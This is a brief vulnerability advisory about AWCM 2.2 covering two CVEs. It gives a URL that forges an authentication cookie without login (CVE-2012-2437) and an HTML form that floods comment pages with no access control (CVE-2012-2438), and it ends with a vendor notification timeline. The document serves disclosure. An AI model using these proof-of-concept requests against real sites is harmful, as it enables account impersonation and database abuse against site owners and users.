|
|
|
|
| |
Credit:
The information has been provided by Sooel Son.
|
| |
Vulnerable Systems:
* AWCM 2.2
1. Details: CVE-2012-2437
Without going through an authentication procedure, anyone can forge a cookie, the pairs of key and value.
Proof of Concept Code: Initiate the following URL request.
http://targethost/awcm/cookie_gen.php?name=\'key\'&content=\'value\'
ex) http://targethost/awcm/cookie_gen.php? name=awcm_member&content=123456
2. Details CVE-2012-2438
There is no access control protection for adversaries to insert millions of comment records on the database on show_video.php and topic.php.
Proof of Concept Code:
[form action=\"http://targethost/awcm/show_video.php?coment=exploit\";
method=\"post\"]
[input type=\"hidden\" name=\"coment\" value=\'insert uninvited comments 2\' /]
[input type=\"submit\" value=\"Submit\"]
</form>
CVE Information:
CVE-2012-2437
CVE-2012-2438
Disclosure Timeline:
Vendor Notification
* Nov 5th: Acknowledge the vendors, but no responses.
|
|
|
|
|
